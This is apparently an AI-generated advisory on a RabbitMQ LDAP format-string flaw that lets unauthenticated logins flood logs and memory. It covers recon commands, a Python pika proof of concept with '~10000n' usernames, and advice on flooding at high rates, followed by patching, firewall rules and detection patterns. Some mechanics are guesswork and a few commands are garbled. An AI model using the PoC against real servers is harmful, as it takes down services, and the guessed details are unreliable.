CVE-2026-144247 — Rabbitmq Rabbitmq-server — CWE-134
RabbitMQ Server 3.13.0 before 3.13.21, 4.1.0 before 4.1.17, 4.2.0 before 4.2.12, and 4.3.0 before 4.3.7 contains a format string vulnerability in rabbitmq_auth_backend_ldap, which returns the rejected user_dn_pattern bind DN as an Erlang format string. Unauthenticated attackers can send failed AMQP PLAIN logins with usernames such as ~10000n to amplify log, disk, and per-connection memory consumption.
RabbitMQ Server 3.13.0 before 3.13.21, 4.1.0 before 4.1.17, 4.2.0 before 4.2.12, and 4.3.0 before 4.3.7 contains a format string vulnerability in rabbitmq_auth_backend_ldap, which returns the rejected user_dn_pattern bind DN as an Erlang format string. Unauthenticated attackers can send failed AMQP PLAIN logins with usernames such as ~10000n to amplify log, disk, and per-connection memory consumption.
🎯 What is this vulnerability?
This vulnerability is a Format String Vulnerability (CWE-134) located within the rabbitmq_auth_backend_ldap Erlang application module.
Technical Flaw:
The core issue lies in how the LDAP authentication backend handles failed login attempts. When an AMQP client attempts to authenticate using the PLAIN mechanism with a username that does not match the configured user_dn_pattern, the backend generates an error message containing the rejected user_dn_pattern (or the resulting bind DN) and passes it directly into an Erlang format string function (likely io_lib:format/2 or similar) without proper sanitization or escaping.
In Erlang, if a string containing format specifiers (like ~n, ~p, ~w, etc.) is passed as the format string argument rather than the data argument, the runtime interprets these specifiers. Specifically, the ~n specifier outputs a newline. By injecting a large number of ~n characters (e.g., ~10000n), the attacker forces the Erlang VM to generate a massive amount of newline characters in the log output.
Missing Validation:
The input (username) is not sanitized or validated before being interpolated into the log message template. The code assumes the user_dn_pattern or the resulting DN is static/trusted, failing to account for user-controlled input that can alter the format string semantics.
CVSS Vector Analysis (CVSS:4.0):
- AV:N / AC:L / AT:P / PR:N / UI:N: Network-exploitable, low complexity, requires preconditions (likely that LDAP auth is enabled and the specific backend is active), no privileges required, no user interaction.
- VC:N / VI:N / VA:H: No impact on confidentiality or integrity, but High impact on Availability. This is a Denial of Service (DoS) vector, not an RCE or data leak.
- SC:N / SI:N / SA:N: No impact on subsequent systems.
- Service Identification: Use
nmapormasscanto identify open AMQP ports (default 5672 for non-TLS, 5671 for TLS).
⚡ Attack Chain
1. Discovery & Reconnaissance
nmap -sV -p 5672,5671 --script rabbitmq-info <target_ip>rabbitmq-info script or manual AMQP protocol handshake can reveal the RabbitMQ version. Alternatively, check the Server header in HTTP responses if the Management Plugin is enabled (port 15672).rabbitmq_auth_backend_ldap is enabled. This is often visible in the RabbitMQ Management UI (if accessible) or through error messages during authentication attempts. If LDAP is not the primary or secondary backend, this specific CVE is not exploitable.2. Exploitation
The attacker sends an AMQP PLAIN login request with a malicious username. The username is crafted to include a large number of newline format specifiers.Illustrative PoC (Python using pika library):
Note: The exact payload length may vary based on system limits, but ~10000n is cited in the CVE description as sufficient to cause significant resource consumption.
import pika
import sys
# Target configuration
HOST = "192.168.1.100"
PORT = 5672
MALICIOUS_USERNAME = "~10000n" # 10,000 newlines
PASSWORD = "dummy_password"
def exploit():
try:
# Create connection parameters
credentials = pika.PlainCredentials(MALICIOUS_USERNAME, PASSWORD)
parameters = pika.ConnectionParameters(
host=HOST,
port=PORT,
credentials=credentials
)
# Attempt to connect. This will trigger the AMQP PLAIN SASL exchange.
# The server will attempt LDAP auth, fail, and log the error with the format string.
connection = pika.BlockingConnection(parameters)
print("[+] Connection established (unexpected).")
connection.close()
except pika.exceptions.ProbableAuthenticationError as e:
print(f"[-] Authentication failed as expected: {e}")
print("[+] Exploit triggered. Check server logs/disk usage.")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
exploit()Alternative: Raw AMQP via amqp CLI (if available):
# This is illustrative. The exact CLI syntax depends on the tool.
# The key is sending a SASL PLAIN mechanism with the username "~10000n".
amqp -H <target_ip> -p 5672 -u "~10000n" -p "dummy" -q "test"Mechanism:
1. Client sends AMQP.START and then AMQP.SASL-CHALLENGE with PLAIN mechanism.
2. Server receives username ~10000n.
3. rabbitmq_auth_backend_ldap attempts to bind to LDAP.
4. Bind fails (invalid DN).
5. Backend constructs error log: io_lib:format("LDAP bind failed for pattern: ~p", [UserDN]) BUT if the code mistakenly does io_lib:format(UserDN, []) or similar, or if the UserDN is part of the format string itself, the ~10000n is interpreted.
Correction based on typical Erlang format string bugs:* The vulnerability likely exists because the user_dn_pattern or the resulting DN is used in a context where it is treated as a format string. For example, if the code does io_lib:format(DN, []) instead of io_lib:format("~s", [DN]), the ~n in the DN is executed.
6. The Erlang VM generates 10,000 newline characters.
7. This string is written to the log file.
8. Repeating this request rapidly (e.g., 1000 times/sec) fills the disk, exhausts I/O bandwidth, and consumes memory in the Erlang process handling the connection.
3. Post-exploitation
/var/log/rabbitmq/ directory. This can cause RabbitMQ to crash or stop accepting new connections if the disk is full.
* Memory Exhaustion: Each connection holding a large log buffer consumes RAM. With many concurrent connections, the Erlang VM may run out of memory, causing a crash or OOM kill.
* I/O Saturation: High disk write I/O can degrade performance for other services on the same host.
🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Patching (Primary Solution)
Upgrade to the fixed versions:Command to check current version:
rabbitmqctl status | grep "RabbitMQ version"Upgrade Command (Debian/Ubuntu example):
sudo apt-get update
sudo apt-get install rabbitmq-server=3.13.21-1 # Adjust version for your distro
sudo systemctl restart rabbitmq-server2. Workarounds (If Immediate Patching is Not Possible)
A. Disable LDAP Authentication Backend:
If LDAP is not strictly required, disable it to remove the vulnerable code path.
# In rabbitmq.conf
auth_backends = internal
# OR
auth_backends = rabbitmq_auth_backend_internalRestart RabbitMQ: sudo systemctl restart rabbitmq-server
B. Restrict Access to AMQP Port:
Use firewall rules to limit access to port 5672/5671 to trusted IP ranges only.
# Example: UFW
sudo ufw allow from 10.0.0.0/8 to any port 5672 proto tcp
sudo ufw deny 5672C. Rate Limiting:
Implement rate limiting at the load balancer or firewall level for AMQP connections.
limit_req zone.hashlimit to limit new connections per IP.iptables -A INPUT -p tcp --dport 5672 -m hashlimit --hashlimit-above 10/sec --hashlimit-burst 20 --hashlimit-mode srcip -j DROPD. Log Monitoring & Rotation:
Ensure log rotation is aggressive and disk usage is monitored.
Configure logrotate for /var/log/rabbitmq/.log with a small size limit (e.g., 10MB) and high compression.
3. Detection (IoCs)
Log Patterns:
Search RabbitMQ logs (/var/log/rabbitmq/rabbit@<host>.log) for:
~n.grep -E "LDAP.*bind.*failed.*~n" /var/log/rabbitmq/*.logNetwork Traffic:
SASL-CHALLENGE messages with PLAIN mechanism where the username field contains ~ characters.tcpdump to capture AMQP traffic:tcpdump -i eth0 port 5672 -w amqp_capture.pcapAnalyze with Wireshark for suspicious usernames.
System Metrics:
/var/log/rabbitmq/.beam.smp (Erlang VM) process.⚠️ Urgency
Priority: HIGH
Note: If you cannot patch immediately, disabling the LDAP backend is the most effective mitigation, as it removes the vulnerable code path entirely.
[🤖 CVE Professor AI Security Engine]
FOFA Query